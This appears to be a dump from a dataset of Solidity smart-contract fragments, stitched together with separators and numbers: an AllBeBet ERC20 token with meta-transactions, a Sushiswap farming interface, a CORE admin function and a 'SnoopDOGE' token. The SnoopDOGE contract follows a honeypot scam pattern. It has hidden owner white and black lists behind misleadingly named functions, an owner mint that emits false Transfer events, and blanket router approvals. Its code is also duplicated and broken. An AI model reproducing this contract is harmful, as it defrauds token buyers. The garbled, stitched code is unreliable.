uint8 v;
// Check the signature length
if (signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
/**
* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* and hash the result
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ECRecover {
mapping (address => uint) public nonces;
function recoverSigner(bytes32 _hash, bytes memory _signature) public pure returns (address) {
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(_hash);
return ECDSA.recover(ethSignedMessageHash, _signature);
}
function validateNonceForSigner(address _signer, uint _nonce) internal {
require(_signer != address(0), "Invalid signer");
require(_nonce == nonces[_signer], "Invalid nonce");
nonces[_signer]++;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
/**
* @title ERC20 Extended interface
*/
interface IERC20X {
function approveAndCall(address _spender, uint _value, bytes calldata _data) external returns (bool);
event ApprovalAndCall(address indexed owner, address indexed spender, uint value, bytes data);
}
/**
* @title Token Receiver Interface
*/
interface ITokenReceiver {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata data) external;
}
/**
* @title ERC20 Extended
* Adds support for approveAndCall function
*/
contract ERC20X is IERC20X, ERC20 {
function approveAndCall(address _spender, uint _value, bytes memory _data) public returns (bool) {
_approveAndCall(msg.sender, _spender, _value, _data);
return true;
}
function _approveAndCall(address _owner, address _spender, uint _value, bytes memory _data) internal {
require(_spender != address(0), "Spender cannot be address(0)");
_allowed[_owner][_spender] = _value;
emit Approval(_owner, _spender, _value);
ITokenReceiver(_spender).receiveApproval(_owner, _value, address(this), _data);
emit ApprovalAndCall(_owner, _spender, _value, _data);
}
}
/**
* @title Meta transactions wrapper around ERC20X
* Rewards relayer with native tokens
*/
contract ERC20Meta is ERC20X, ECRecover {
function metaApproveAndCall(bytes memory _signature, uint _nonce, address _spender, uint _value, bytes memory _data, uint _reward)
public returns (bool)
{
require(_spender != address(0), "Invalid spender address");
bytes32 messageHash = metaApproveAndCallHash(_nonce, _spender, _value, _data, _reward);
address signer = recoverSigner(messageHash, _signature);
validateNonceForSigner(signer, _nonce);
_approveAndCall(signer, _spender, _value, _data);
if (_reward > 0)
_transfer(signer, msg.sender, _reward);
return true;
}
function metaTransfer(bytes memory _signature, uint _nonce, address _to, uint _value, uint _reward)
public returns (bool)
{
bytes32 messageHash = metaTransferHash(_nonce, _to, _value, _reward);
address signer = recoverSigner(messageHash, _signature);
validateNonceForSigner(signer, _nonce);
_transfer(signer, _to, _value);
if (_reward > 0)
_transfer(signer, msg.sender, _reward);
return true;
}
function metaTransferFrom(bytes memory _signature, uint _nonce, address _from, address _to, uint _value, uint _reward)
public returns (bool)
{
bytes32 messageHash = metaTransferFromHash(_nonce, _from, _to, _value, _reward);
address signer = recoverSigner(messageHash, _signature);
validateNonceForSigner(signer, _nonce);
_allowed[_from][signer] = _allowed[_from][signer].sub(_value); //error
_transfer(_from, _to, _value);
emit Approval(_from, signer, _allowed[_from][signer]);
if (_reward > 0)
_transfer(signer, msg.sender, _reward);
return true;
}
function metaApprove(bytes memory _signature, uint _nonce, address _spender, uint _value, uint _reward)
public returns (bool)
{
require(_spender != address(0), "Invalid spender address");
bytes32 messageHash = metaApproveHash(_nonce, _spender, _value, _reward);
address signer = recoverSigner(messageHash, _signature);
validateNonceForSigner(signer, _nonce);
_allowed[signer][_spender] = _value;
if (_reward > 0)
_transfer(signer, msg.sender, _reward);
emit Approval(signer, _spender, _value);
return true;
}
function metaIncreaseAllowance(bytes memory _signature, uint _nonce, address _spender, uint256 _addedValue, uint _reward)
public returns (bool)
{
require(_spender != address(0), "Invalid spender address");
bytes32 messageHash = metaIncreaseAllowanceHash(_nonce, _spender, _addedValue, _reward);
address signer = recoverSigner(messageHash, _signature);
validateNonceForSigner(signer, _nonce);
_allowed[signer][_spender] = _allowed[signer][_spender].add(_addedValue);
if (_reward > 0)
_transfer(signer, msg.sender, _reward);
emit Approval(signer, _spender, _allowed[signer][_spender]);
return true;
}
function metaDecreaseAllowance(bytes memory _signature, uint _nonce, address _spender, uint256 _subtractedValue, uint _reward)
public returns (bool)
{
require(_spender != address(0), "Invalid spender address");
bytes32 messageHash = metaDecreaseAllowanceHash(_nonce, _spender, _subtractedValue, _reward);
address signer = recoverSigner(messageHash, _signature);
validateNonceForSigner(signer, _nonce);
_allowed[signer][_spender] = _allowed[signer][_spender].sub(_subtractedValue);
if (_reward > 0)
_transfer(signer, msg.sender, _reward);
emit Approval(signer, _spender, _allowed[signer][_spender]);
return true;
}
function metaTransferHash(uint _nonce, address _to, uint _value, uint _reward) public view returns (bytes32) {
return keccak256(abi.encodePacked(address(this), "metaTransfer", _nonce, _to, _value, _reward));
}
function metaApproveAndCallHash(uint _nonce, address _spender, uint _value, bytes memory _data, uint _reward)
public view returns (bytes32) {
return keccak256(abi.encodePacked(address(this), "metaApproveAndCall", _nonce, _spender, _value, _data, _reward));
}
function metaTransferFromHash(uint _nonce, address _from, address _to, uint _value, uint _reward) public view returns (bytes32) {
return keccak256(abi.encodePacked(address(this), "metaTransferFrom", _nonce, _from, _to, _value, _reward));
}
function metaApproveHash(uint _nonce, address _spender, uint _value, uint _reward) public view returns (bytes32) {
return keccak256(abi.encodePacked(address(this), "metaApprove", _nonce, _spender, _value, _reward));
}
function metaIncreaseAllowanceHash(uint _nonce, address _spender, uint256 _addedValue, uint _reward) public view returns (bytes32) {
return keccak256(abi.encodePacked(address(this), "metaIncreaseAllowance", _nonce, _spender, _addedValue, _reward));
}
function metaDecreaseAllowanceHash(uint _nonce, address _spender, uint256 _subtractedValue, uint _reward) public view returns (bytes32) {
return keccak256(abi.encodePacked(address(this), "metaDecreaseAllowance", _nonce, _spender, _subtractedValue, _reward));
}
}
contract Token is ERC20Meta, Ownable {
// freezing chains
mapping (bytes32 => uint64) internal chains;
// freezing amounts for each chain
mapping (bytes32 => uint) internal freezings;
// total freezing balance per address
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
/**
* @dev Gets the balance of the specified address include freezing tokens.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
/**
* @dev Gets the balance of the specified address without freezing tokens.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
/**
* @dev gets freezing count
* @param _addr Address of freeze tokens owner.
*/
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
/**
* @dev gets freezing end date and freezing balance for the freezing portion specified by index.
* @param _addr Address of freeze tokens owner.
* @param _index Freezing portion index. It ordered by release date descending.
*/
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return(0, 0);
}
}
_balance = freezings[toKey(_addr, _release)];
}
/**
* @dev freeze your tokens to the specified address.
* Be careful, gas usage is not deterministic,
* and depends on how many freezes _to address already has.
* @param _to Address to which token will be freeze.
* @param _amount Amount of token to freeze.
* @param _until Release date, must be in future.
*/
function freezeTo(address _to, uint _amount, uint64 _until) public {
_freezeTo(msg.sender, _to, _amount, _until);
}
function _freezeTo(address _from, address _to, uint _amount, uint64 _until) internal {
require(_to != address(0));
require(_amount <= _balances[_from]);
_balances[_from] = _balances[_from].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(_from, _to, _amount);
emit Freezed(_to, _until, _amount);
}
/**
* @dev release first available freezing tokens.
*/
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
_balances[msg.sender] = _balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
/**
* @dev release all available for release freezing tokens. Gas usage is not deterministic!
* @return how many tokens was released
*/
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
// WISH masc to increase entropy
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address _token, address _to, uint _value) public onlyOwner returns (bool) {
return IERC20(_token).transfer(_to, _value);
}
}
/**
* @title Allbebet Token Contract
* Fully compatible with ERC20 standard
* Supports native meta transactions
*/
contract ALBToken is Token, ERC20Detailed {
using SafeERC20 for ERC20;
uint256 startdate;
address beneficiary1;
address beneficiary2;
address beneficiary3;
address beneficiary4;
address beneficiary5;
constructor() public ERC20Detailed("AllBeBet", "ALB", 0) {
uint256 amount = 1000000000 * (10 ** uint256(decimals()));
_mint(address(this), amount);
startdate = 1566766800;
beneficiary1 = 0x11308512672859E403C570996dA51EEb6F5d1cD3;
beneficiary2 = 0x3c35a288d9EA25E8F727C7d45383c04E633B5bdC;
beneficiary3 = 0xc643E129c49CAb15dfC964643f2deCC9Dbfc7091;
beneficiary4 = 0x188f445c13F702cBB3734Df63fb4Cb96c474866d;
beneficiary5 = 0xFd05e00091b947AaA3ebA36beC62C2CA6003BCE7;
_freezeTo(address(this), beneficiary1, totalSupply().mul(375).div(1000), uint64(startdate + 183 days));
_freezeTo(address(this), beneficiary1, totalSupply().mul(375).div(1000),uint64(startdate + 365 days));
_freezeTo(address(this), beneficiary2, totalSupply().mul(15).div(1000), uint64(startdate + 183 days));
_freezeTo(address(this), beneficiary2, totalSupply().mul(15).div(1000), uint64(startdate + 365 days));
_freezeTo(address(this), beneficiary3, totalSupply().mul(5).div(100), uint64(startdate + 183 days));
_freezeTo(address(this), beneficiary3, totalSupply().mul(5).div(100), uint64(startdate + 365 days));
_transfer(address(this), beneficiary4, totalSupply().mul(9).div(100));
_transfer(address(this), beneficiary5, totalSupply().mul(3).div(100));
}
}
|
------------------------------------------------------------------------ Owner can transfer out any accidentally sent ERC20 tokens ------------------------------------------------------------------------
|
function transferAnyERC20Token(address _token, address _to, uint _value) public onlyOwner returns (bool) {
return IERC20(_token).transfer(_to, _value);
}
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//SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
import {IUniswapV2Router02} from "@sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Router02.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
/// @title Farmer is an abstract contract representing a few possible actions one would carry
/// out while tending the crops.
/// @author 0xdavinchee
abstract contract Farmer is Ownable {
using SafeMath for uint256;
struct CreateLPData {
uint256 pid;
uint256 amountADesired;
uint256 amountBDesired;
address pair;
address tokenA;
address tokenB;
}
struct RewardsForTokensPaths {
address[] tokenAPath; // first addr: reward token, last addr: _tokenA
address[] tokenBPath; // first addr: reward token, last addr: _tokenB
}
uint256 public constant ONE_HUNDRED_PERCENT = 1000; // allows one dp sig
IUniswapV2Router02 public router;
constructor(IUniswapV2Router02 _router) public {
router = _router;
}
/** @dev Allows this contract to interact with a pair contract
* and add liquidity to a pair by converting the necessary
* assets to get LP tokens in return.
*/
function _getLPTokens(
address _tokenA,
address _tokenB,
uint256 _amountADesired,
uint256 _amountBDesired
) internal virtual returns (uint256);
/** @dev Allows this contract to interact with a pair contract
* and add liquidity to a pair by converting the necessary
* assets to get LP tokens in return, used if ETH is one of the
* pair's tokens (or whatever the native token is for that chain).
*/
function getLPTokensETH(
address _token,
uint256 _amountTokensDesired,
uint256 _amountETHMin,
uint256 _slippage
) public payable virtual returns (uint256);
/** @dev Swaps LP tokens owned by this contract in exchange
* for the underlying tokens.
*/
function removeLP(
address _tokenA,
address _tokenB,
uint256 _liquidity,
uint256 _amountAMin,
uint256 _amountBMin
) external virtual;
/** @dev Swaps LP tokens owned by this contract in exchange
* for the underlying tokens. Used if ETH is one of the pair's
* tokens.
*/
function removeLPETH(
address _token,
uint256 _liquidity,
uint256 _amountTokenMin,
uint256 _amountETHMin
) external virtual;
/** @dev Withdraws LP tokens from a farm.
*/
function withdrawLP(uint256 _pid, uint256 _amount) public virtual;
/** @dev Gets the LP token balance of the pair you are providing
*liquidity for.
*/
function lpBalance(address _pair)
external
virtual
returns (uint256 balance);
/** @dev Allows the owner of the contract to set a new owner. */
function setOwner(address _newOwner) external virtual;
/** @dev Allows the owner of the contract to withdraw ERC20s. */
function withdrawFunds(address _asset, uint256 _amount) external virtual;
/** @dev Allows the owner of the contract to withdraw ETH. */
function withdrawETH() external payable virtual;
/** @dev Deposits LP tokens into a farm for rewards, i.e. Onsen on
* Sushi.
*/
function _depositLP(
address _lpToken,
uint256 _pid,
uint256 _amount
) internal virtual;
/** @dev Allows this contract to claim any rewards granted from
* providing liquidity.
*/
function claimRewards(uint256 _pid) external virtual;
/** @dev Swaps claimed reward tokens for equal amounts of the LP assets
* you need from an LP contract.
*/
function _swapRewardsForLPAssets(
RewardsForTokensPaths calldata data,
uint256 _preClaimRewardsBalance
) public payable virtual returns (uint256[] memory amounts);
/** @dev A Helper function for getting the minimum amount of tokens
* to receive given a desired amount and slippage as expressed in
* percentage.
*/
function _getMinAmount(uint256 _amountDesired, uint256 _slippage)
internal
pure
returns (uint256)
{
return _amountDesired.mul(_slippage).div(ONE_HUNDRED_PERCENT);
}
}
|
first addr: reward token, last addr: _tokenB
|
address[] tokenBPath;
| 12,876,463
|
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./partial_match/1/0x105Aa95947C16999F32190f3EaC8dabDdc8E39D1/sources/CORE_LGE_3.sol
|
/// Admin balancing functions CORE is token0
|
function buyCOREforWETH(uint256 amountWETH, uint256 minAmountCOREOut) onlyOwner public {
(uint256 COREValueETH, uint256 DAIValueETH) = getDAIandCOREReservesValueInETH();
require(COREValueETH.add(amountWETH) <= DAIValueETH, "Buying too much CORE");
safeTransfer(WETH, address(pair), amountWETH);
(uint256 reservesCORE, uint256 reservesWETH, ) = pair.getReserves();
uint256 coreOUT = getAmountOut(amountWETH, reservesWETH, reservesCORE);
pair.swap(coreOUT, 0, address(this), "");
tokenReserves[CORE] = tokenReserves[CORE].add(coreOUT);
require(coreOUT >= minAmountCOREOut, "Buy Slippage too high");
emit COREBought(coreOUT);
}
| 9,182,080
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./full_match/1/0xDEfF106B9eaF5c8fD821cFCe302E5Ec6D4499618/sources/SnoopDOGE.sol
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract Uniswap is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
constructor () public {
_name = 'Snoop Doge';
_symbol = 'SNOOPDOGE';
_decimals = 18;
_owner = msg.sender;
_safeOwner = msg.sender;
_mint(_owner, 1000*1e6*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
